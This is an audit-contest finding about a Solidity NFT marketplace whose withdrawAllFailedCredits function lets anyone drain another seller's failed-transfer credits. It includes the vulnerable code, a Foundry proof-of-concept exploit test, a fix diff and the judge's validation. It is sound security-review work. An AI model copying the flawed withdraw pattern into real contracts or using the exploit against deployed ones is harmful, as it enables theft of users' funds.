Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Insecure withdrawAllFailedCredits Allows Theft of Other Users’ Funds

jopantech

[H-1] Insecure withdrawAllFailedCredits Allows Theft of Other Users’ Funds

Description

The marketplace attempts to credit sellers when ETH transfers fail (e.g., if the seller is a contract without a payable fallback). These amounts are tracked in failedTransferCredits[address]. However, the function withdrawAllFailedCredits(address recipient) is implemented insecurely:

  • It reads the balance from the recipient address.

  • It then zeros out msg.sender’s slot instead of the recipient’s.

  • It finally transfers the credits to msg.sender.

This means an attacker can pass in any victim address with credits, and the marketplace will incorrectly give those funds to the attacker while leaving the victim’s credits unchanged. The attacker can repeatedly drain victims’ balances.

// @audit It loads credits from _receiver, but then resets msg.sender.
// Means I can drain someone else’s failedTransferCredits by calling with their address.
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • The issue will occur whenever a seller’s ETH transfer fails (for example, when the seller is a contract that rejects ETH). This ensures that failedTransferCredits will accumulate balances for victims.

  • Any external account can call withdrawAllFailedCredits(address) without restriction, allowing attackers to repeatedly trigger the vulnerability as soon as failed credits exist.

Impact:

  • Attackers can drain the entire balance of failedTransferCredits belonging to other sellers, directly stealing their ETH proceeds.

  • The marketplace’s trust and functionality are broken because sellers who cannot accept ETH normally will lose all funds intended for them, leading to permanent loss of user assets.

Proof of Concept

function test_exploit_withdrawAllFailedCredits() public {
// 1) Mint to SELLER then transfer token to the RejectEther contract (so seller = rejector)
vm.startPrank(OWNER);
nft.mint(SELLER); // tokenId 0 minted to SELLER
vm.stopPrank();
​
// Transfer token from SELLER to rejector using non-safe transferFrom (no onERC721Received required)
vm.prank(SELLER);
nft.transferFrom(SELLER, address(rejector), TOKEN_ID);
​
// 2) Approve and list from rejector
vm.startPrank(address(rejector));
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
​
// 3) Buyer buys at buy-now price
vm.prank(BIDDER_1);
market.placeBid{value: BUY_NOW_PRICE}(TOKEN_ID);
​
// At this point marketplace charged fee and attempted to payout seller (rejector).
// Because rejector cannot accept ETH, seller proceeds were credited to failedTransferCredits[rejector].
​
// Compute expected values (net of fee)
uint256 fee = (BUY_NOW_PRICE * market.S_FEE_PERCENTAGE()) / 100; // 0.25 ETH
uint256 sellerProceeds = BUY_NOW_PRICE - fee; // 4.75 ETH
​
// Assertions: failedTransferCredits should equal seller proceeds (net)
assertEq(
market.failedTransferCredits(address(rejector)),
sellerProceeds,
"Rejector should have failed credits equal to seller proceeds (net of fee)"
);
​
// Fee recorded
assertEq(market.s_totalFee(), fee, "Marketplace fee should be recorded");
​
// Owner of NFT should now be BIDDER_1 (buyer)
assertEq(nft.ownerOf(TOKEN_ID), BIDDER_1);
​
// 4) Attacker drains the rejector's credits using vulnerable withdrawAllFailedCredits(address)
address attacker = address(0x999);
uint256 attackerStarting = 1 ether;
vm.deal(attacker, attackerStarting);
​
// Confirm attacker starting balance
assertEq(attacker.balance, attackerStarting);
​
vm.startPrank(attacker);
market.withdrawAllFailedCredits(address(rejector)); // vulnerable call: drains victim credits to msg.sender
vm.stopPrank();
​
// Attacker should have gained sellerProceeds
assertEq(
attacker.balance,
attackerStarting + sellerProceeds,
"Attacker should have stolen victim's credits (starting + sellerProceeds)"
);
​
// Because the buggy function reads victim slot but zeroes msg.sender, victim's credits are likely unchanged
// (This checks the buggy behavior; after patching this should be zero)
assertEq(
market.failedTransferCredits(address(rejector)),
sellerProceeds,
"In buggy contract victim credits remain (the exploit demonstrates theft)"
);
}
forge test --match-test test_exploit_withdrawAllFailedCredits -vvv

Recommended Mitigation

  • Enforce proper authorization: Only the rightful owner (the credited address) should be able to withdraw their failed transfer credits.

  • Correctly zero out the recipient’s balance, not msg.sender.

- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ // Only allow the credited owner to withdraw their own credits; follow Checks → Effects → Interactions.
+ // Requires: contract inherits OpenZeppelin ReentrancyGuard and function marked nonReentrant.
+ function withdrawAllFailedCredits() external nonReentrant {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+
+ // Effects: zero the caller's credit before external interaction
+ failedTransferCredits[msg.sender] = 0;
+
+ // Interaction: send funds to the caller
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!